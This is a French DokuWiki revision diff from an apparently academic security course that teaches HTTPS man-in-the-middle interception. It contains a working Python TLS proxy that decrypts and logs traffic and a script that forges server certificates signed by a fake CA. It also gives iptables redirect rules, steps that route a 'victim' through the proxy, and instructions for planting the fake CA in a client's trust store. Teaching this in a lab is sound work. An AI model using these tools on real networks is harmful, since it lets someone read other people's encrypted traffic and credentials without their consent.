User Tools

Site Tools


secres:https-interception

Differences

This shows you the differences between two versions of the page.

Link to this comparison view

Both sides previous revisionPrevious revision
Next revision
Previous revision
secres:https-interception [2017/04/10 13:07] – [Documentation] orelsecres:https-interception [2024/03/18 15:06] (current) – external edit 127.0.0.1
Line 1: Line 1:
 ====== Interception HTTPS ====== ====== Interception HTTPS ======
  
-Nous allons mettre en oeuvre le mécanisme d'interception HTTPS avec l'exemple d'un site we particulier : https://www.python.org. +Nous allons mettre en oeuvre le mécanisme d'interception HTTPS, qui consiste à faire in Man-in-the-Middle pour déchiffre le traffic HTTPS entre le client et le serveur !
  
-Les exemples ci-dessous sont écrits en Python : https://docs.python.org/3/library/ssl.html 
  
 +Considérons le réseau suivant :
  
-==== Client HTTPS ==== 
  
-En guise d'échauffement, voici un exemple de client HTTPS {{:secres:httpsget.py|}}+  Client Web <-----> Proxy <--- (...) --> Server Web (https://nile.metal.fr)  
  
-  $ ./httpsget www.python.org 443 
-   
-==== Client/Serveur Echo en SSL ==== 
  
-Pour aller un peu plus loin, voici un exemple de client/serveur Echo en SSL :  {{:secres:sslsocket.zip|}}. Il faut dans cet exemple générer le certificat du CA et du serveur pour localhost (127.0.0.1). Ceux fournis expirent au bout de 255 jours ! Voir README.+=== Proxy SSL ===
  
-  $ ./sslserver.py +Voici le code de notre proxy SSL :
-  $ ./sslclient.py +
-   +
-  +
  
-==== Proxy SSL dans un LAN ====+<code python sslproxy.py> 
 +#!/usr/bin/python3 
 +import socket 
 +import ssl 
 +import sys 
 +import time 
 +import datetime 
 +import os
  
-Voici le code de notre proxy SSL : {{:secres:sslproxy.py|}}. Ce code n'est pas très générique : il est écrit sur mesure pour l'interception du site https://www.python.org en utilisant un faux certifcat fake.crt/fake.key signé par notre propre CA (ca.crt/ca.key). Voir la section suivante pour générer ces certificats.+BUFSIZE = 4096
  
-On considère le LAN suivant (192.168.0.0/24) :+# this certificate must be trusted by the client victim! 
 +FAKE_CA_CERT = "fake-ca-cert.pem"           
 +FAKE_CA_KEY = "fake-ca-key.pem"
  
-  V ---- [LAN] ----- GW -----> Internet +# a fake certificate for the server that is a copy of the actual certificate except it is signed by our fake CA 
-           | +FAKE_SERVER_CERT = "fake-server-cert.pem" 
-         PROXY+FAKE_SERVER_KEY = "fake-server-key.pem"
  
-avec : +# actual CA certificate 
-  * V, la vic +CA_CERT = "ca-cert.pem"
-  * time (client HTTPS) ; +
-  * PROXY, la machine du LAN qui héberge notre proxy SSL ; +
-  * GW, la gateway vers Internet !+
  
-Nous allons uniquement nous intéresser à l'interception HTTPS pour un site particulier (https://www.python.org) afin d'illustrer le principe.+######### MISC #########
  
 +def log_message(format, *args):
 +    sys.stderr.write("[%s] %s\n" % (datetime.datetime.now().strftime("%y-%m-%d %H:%M:%S"), format%args))
  
-  PROXY$ sudo iptables -A OUTPUT -p icmp --icmp-type redirect -j DROP +######### Main Serve Routine  #########
-  PROXY$ echo 0 | sudo tee /proc/sys/net/ipv4/conf/*/send_redirects +
-  PROXY$ sudo iptables -t nat -A PREROUTING -i wlp2s0 -d www.python.org -p tcp --dport 443 \ +
-    -j REDIRECT --to-port 4444 +
-  PROXY$ sudo bash -c 'echo 1 > /proc/sys/net/ipv4/ip_forward' +
-  PROXY$ ./sslproxy.py 4444 +
-   +
-  V$ route del default +
-  V$ route add default gw @PROXY +
-  V$ wget -4 --ca-certificate=ca.crt https://www.python.org +
-  +
  
 +# handle one connection
 +def serve(clientconn, clientaddr, serveraddr):
 +    (serverhost, serverport) = serveraddr       # the actual server
 +    (clienthost, clientport) = clientaddr       # the actual client
  
-==== Test du Proxy SSL en local ====+    # wrap client connection with SSL context 
 +    clientcontext ssl.create_default_context(ssl.Purpose.CLIENT_AUTH) 
 +    clientcontext.load_cert_chain(certfile=FAKE_SERVER_CERT, keyfile=FAKE_SERVER_KEY) 
 +    clientconnssl clientcontext.wrap_socket(clientconn, server_side=True)
  
-Pour tester en local notre Proxy SSL, le //redirect// est un peu plus trickycar il faut distinguer localement le traffic partant du client web de celui partant du proxyalors qu'ils ont la même destination. Voici l'astuce que j'utilise  :+    # connect to server with SSL context 
 +    serverconn = socket.socket(socket.AF_INETsocket.SOCK_STREAM) 
 +    servercontext = ssl.create_default_context(ssl.Purpose.SERVER_AUTH) 
 +    servercontext.load_verify_locations(CA_CERT)                                 # should be in the store...     
 +    servercontext.check_hostname = True 
 +    serverconnssl = servercontext.wrap_socket(serverconnserver_side=Falseserver_hostname=serverhost)
  
-  $ sudo groupadd noredirect +    try: 
-  $ sudo iptables -t nat -F +        serverconnssl.connect(serveraddr) 
-  $ sudo iptables -t nat -A OUTPUT -m owner ! --gid-owner noredirect  -p tcp -d www.python.org --dport 443 \ +    except ssl.SSLError as e: 
-    -j REDIRECT --to-port 4444 +        log_message("%s", e) 
-  $ sudo sg noredirect './sslproxy.py 4444' +        clientconnssl.close() 
-  $ wget -4 --ca-certificate=ca.crt https://www.python.org +        return
-   +
-==== Génération d'un fake Certificat ====+
  
 +    # start talking in SSL/TLS
 +    sys.stdout.write("~~~~~ REQUEST ~~~~~\n")
 +    buffer = clientconnssl.recv(BUFSIZE)
 +    sys.stdout.write("%s" % buffer.decode())
 +    serverconnssl.sendall(buffer)
 +    sys.stdout.write("~~~~~ ANSWER ~~~~~\n")
 +    buffer = serverconnssl.recv(BUFSIZE)
 +    sys.stdout.write("%s" % buffer.decode())
 +    clientconnssl.sendall(buffer)
 +    buffer = serverconnssl.recv(BUFSIZE)
 +    sys.stdout.write("%s" % buffer.decode())
 +    clientconnssl.sendall(buffer)
  
-   $ certtool --generate-privkey --outfile ca.key +    # close sockets 
-   $ certtool --generate-self-signed --load-privkey ca.key --outfile ca.crt +    serverconnssl.close() 
-   $ certtool --certificate-info --infile ca.crt+    clientconnssl.close() 
 +    log_message('all connections closed'
 + 
 +######### Main Loop ######### 
 + 
 +def main(): 
 + 
 +    if len(sys.argv) != 4: 
 +        sys.stderr.write("usage: sslproxy <server hostname> <server port> <proxy port>\n"
 +        sys.exit(1) 
 + 
 +    SERVERHOST = sys.argv[1] 
 +    SERVERPORT = int(sys.argv[2]) 
 +    PROXYHOST = '' 
 +    PROXYPORT = int(sys.argv[3]) 
 + 
 +    proxyaddr = (PROXYHOST, PROXYPORT) 
 +    serveraddr = (SERVERHOST, SERVERPORT) # the target server 
 + 
 +    # create proxy socket listening on PROXYPORT 
 +    proxysocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
 +    proxysocket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 
 +    proxysocket.bind(proxyaddr) 
 +    proxysocket.listen() 
 + 
 +    # main loop 
 +    log_message('proxy listening on port: %d', PROXYPORT) 
 +    log_message('target server: %s', serveraddr) 
 + 
 +    while True: 
 +        try: 
 +            log_message("waiting new connection..."
 +            clientconn, clientaddr = proxysocket.accept() 
 +            serve(clientconn, clientaddr, serveraddr) 
 +        except KeyboardInterrupt: 
 +            log_message("shutting down!"
 +            proxysocket.close() 
 +            break 
 + 
 +######### Main Program  ######### 
 + 
 +main() 
 +</code> 
 + 
 +=== Génération des faux certificats === 
 + 
 +Commençons par générer un //fake CA// :  
 + 
 +  $ certtool --generate-privkey --outfile fake-ca-key.pem 
 +  $ certtool --generate-self-signed --load-privkey fake-ca-key.pem --outfile fake-ca-cert.pem 
 + 
 +Voici les réponses à donner strictement :
  
   * La plupart des champs peuvent rester vides.   * La plupart des champs peuvent rester vides.
-  * Common name: CA +  * Common name: FAKECA 
-  * The certificate will expire in (days): 255+  * The certificate will expire in (days): 255  
   * Does the certificate belong to an authority? (y/N): y   * Does the certificate belong to an authority? (y/N): y
   * Will the certificate be used to sign other certificates? (y/N): y   * Will the certificate be used to sign other certificates? (y/N): y
 +  * CRL signing: y
 +  * All other extensions: NO (required)
  
-   $ certtool --generate-privkey --outfile fake.key +Pour afficher le contenu de son certificat : 
-   $ certtool --generate-certificate --load-privkey fake.key --outfile fake.crt --load-ca-certificate ca.crt \ + 
-     --load-ca-privkey ca.key +  $ certtool --infile fake-ca-cert.pem -i 
-   $ certtool --certificate-info --infile fake.crt+ 
 +Générons maintenant le //fake// certifcat de notre serveur.  
 + 
 +   $ certtool --generate-privkey --outfile fake-server-key.pem 
 +   $ certtool --generate-certificate --load-privkey fake-server-key.pem --outfile fake-server-cert.pem --load-ca-certificate fake-ca-cert.pem --load-ca-privkey fake-ca-key.pem 
 + 
 +Voici les réponses à donner strictement :
  
   * La plupart des champs peuvent rester vides   * La plupart des champs peuvent rester vides
-  * CN=www.python.org +  * CN=nile.metal.fr 
-  * DNSName=www.pyhon.org+  * DNSName=nile.metal.fr 
 +  * IP address=10.0.0.2
   * The certificate will expire in (days): 255   * The certificate will expire in (days): 255
   * Will the certificate be used for signing (required for TLS)? (y/N): y   * Will the certificate be used for signing (required for TLS)? (y/N): y
   * Will the certificate be used for encryption (not required for TLS)? (y/N): y   * Will the certificate be used for encryption (not required for TLS)? (y/N): y
  
 +Vous pouvez également utiliser le script suivant pour générer automatiquent le //fake// certificat pour le serveur nile.metal.fr :
  
-==== Documentation  ====+  ./gen-fake-cert.py nile.metal.fr 443
  
 +<code python gen-fake-cert.py>  
 +#!/usr/bin/python3
 +import socket
 +import ssl
 +import sys
 +import pprint
 +import OpenSSL  # deprecated ?
 +import time
 +import datetime
 +import os
 +import struct
 +
 +# this certificate must be trusted by the client victim!
 +FAKE_CA_CERT = "fake-ca-cert.pem"          
 +FAKE_CA_KEY = "fake-ca-key.pem"
 +
 +# a fake certificate for the server that is a copy of the actual certificate except it is signed by our fake CA
 +FAKE_SERVER_CERT = "fake-server-cert.pem"
 +FAKE_SERVER_KEY = "fake-server-key.pem"
 +
 +######### MISC #########
 +
 +def log_message(format, *args):
 +    sys.stderr.write("[%s] %s\n" % (datetime.datetime.now().strftime("%y-%m-%d %H:%M:%S"), format%args))
 +
 +######### Certificate Tools #########
 +
 +# cert input are assuming to be x509
 +
 +# save x509 cert file (PEM format)
 +def save_cert(cert, path):
 +    certfile = open(path, "wb")
 +    certfile.write(OpenSSL.crypto.dump_certificate(OpenSSL.crypto.FILETYPE_PEM, cert))
 +    certfile.close()
 +
 +# save private key file (PEM format)
 +def save_key(key, path):
 +    keyfile = open(path, "wb")
 +    keyfile.write(OpenSSL.crypto.dump_privatekey(OpenSSL.crypto.FILETYPE_PEM, key))
 +    keyfile.close()
 +
 +def load_cert(path):
 +    certfile = open(path, 'rt')
 +    cert = OpenSSL.crypto.load_certificate(OpenSSL.crypto.FILETYPE_PEM, certfile.read())
 +    certfile.close()
 +    return cert
 +
 +def load_key(path):
 +    keyfile = open(path, 'rt')
 +    key = OpenSSL.crypto.load_privatekey(OpenSSL.crypto.FILETYPE_PEM, keyfile.read())
 +    keyfile.close()
 +    return key
 +
 +######### Generate Fake Certificate #########
 +
 +def generate_fake_cert(cert, cacert, cakey):
 +
 +    # get CN & SAN from x509 cert
 +    cn = cert.get_subject().CN
 +    ext = None
 +    for idx in range(cert.get_extension_count()):
 +        ext = cert.get_extension(idx)
 +        if(ext.get_short_name() == b'subjectAltName'): break
 +    # if DEBUG: print("  * SAN = ", ext.get_data()) # in raw format (one should decode it...)
 +
 +    # create a key pair
 +    fakekey = OpenSSL.crypto.PKey()
 +    fakekey.generate_key(OpenSSL.crypto.TYPE_RSA, 1024)
 +
 +    # create a new x509 cert
 +    fakecert = OpenSSL.crypto.X509()  # x509 format
 +    fakecert.get_subject().CN = cn
 +    fakecert.set_serial_number(int(time.time()))
 +    fakecert.gmtime_adj_notBefore( 0 )             # not valid before today
 +    fakecert.gmtime_adj_notAfter( 60*60*24*365*5 ) # not valid after 5 years
 +    fakecert.set_pubkey(fakekey)
 +    fakecert.set_version(0x2) # set certificate version to X509 v3 (0x2), required for X509 extensions
 +
 +    # add subjectAltName X509 extension (SAN)
 +    if ext: fakecert.add_extensions([ext])
 +
 +    # set issuer and CA signature
 +    fakecert.set_issuer(cacert.get_subject())
 +    fakecert.sign(cakey, 'sha1')
 +    fakecert.sign(cakey, 'sha256')
 +
 +    return (fakecert, fakekey)
 +
 +
 +######### Main Program  #########
 +
 +if len(sys.argv) != 3:
 +    sys.stderr.write("usage: sslproxy <server hostname> <server port>\n")
 +    sys.exit(1)
 +
 +SERVERHOST = sys.argv[1]
 +SERVERPORT = int(sys.argv[2])
 +serveraddr = (SERVERHOST, SERVERPORT) # the target server
 +
 +# load CA cert & CA key (x509)
 +fakecacert = load_cert(FAKE_CA_CERT)
 +fakecakey = load_key(FAKE_CA_KEY)
 +
 +sslservercert = ssl.get_server_certificate(serveraddr)
 +servercert = OpenSSL.crypto.load_certificate(OpenSSL.crypto.FILETYPE_PEM, sslservercert)
 +servercn = servercert.get_subject().CN
 +log_message('Get certificate: %s', servercn)
 +
 +fakeservercert, fakeserverkey = generate_fake_cert(servercert, fakecacert, fakecakey)
 +save_cert(fakeservercert, FAKE_SERVER_CERT)
 +save_key(fakeserverkey, FAKE_SERVER_KEY)
 +log_message('Save fake server certificate %s and key %s', FAKE_SERVER_CERT, FAKE_SERVER_KEY)
 +</code>
 +  
 +
 +=== Lancement du Proxy HTTPS ===
 +
 +Lancement du proxy :
 +
 +  iptables -t nat -F
 +  iptables -t nat -A PREROUTING -d nile.metal.fr -p tcp --dport 443 -j REDIRECT --to-port 4444
 +  ./sslproxy.py nile.metal.fr 443 4444
 +
 +=== Mise en oeuvre avec un client ===
 +
 +Sur le client :
 +
 +  wget -4 --ca-certificate=fake-ca-cert.pem https://nile.metal.fr
 +
 +Pour ajouter le //fake// CA dans le store du client, il faut faire :
 +
 +  cp ca-cert.pem ca-cert.crt # renommage
 +  cp ca-cert.crt /usr/share/ca-certificates/mycert/
 +  dpkg-reconfigure ca-certificates
 +  
 +Puis, il suffit de faire :
 +  
 +  wget -4 https://nile.metal.fr
 +  
 +
 +Video de démo par A. Guermouche : https://www.youtube.com/watch?v=KURaBFMn4xg
 +
 +==== Documentation ====
 +
 +Le code et la documentation du projet (version antérieure) sont ici : https://gitlab.inria.fr/esnard/https-interception 
 +
 +About HTTPS interception:
  
   * http://www.bortzmeyer.org/https-interception.html   * http://www.bortzmeyer.org/https-interception.html
Line 104: Line 325:
   * SNI : https://fr.wikipedia.org/wiki/Server_Name_Indication   * SNI : https://fr.wikipedia.org/wiki/Server_Name_Indication
   * SAN : https://en.wikipedia.org/wiki/Subject_Alternative_Name   * SAN : https://en.wikipedia.org/wiki/Subject_Alternative_Name
-  + 
 +About SSL in Python3:   
 + 
 +  * https://docs.python.org/3/library/ssl.html 
 + 
 +Misc: 
 + 
 +  * https://cabforum.org 
 +  * [[secres:https-misc| Quelques Notes]] 
 + 
 + 
secres/https-interception.1491829674.txt.gz · Last modified: 2024/03/18 15:05 (external edit)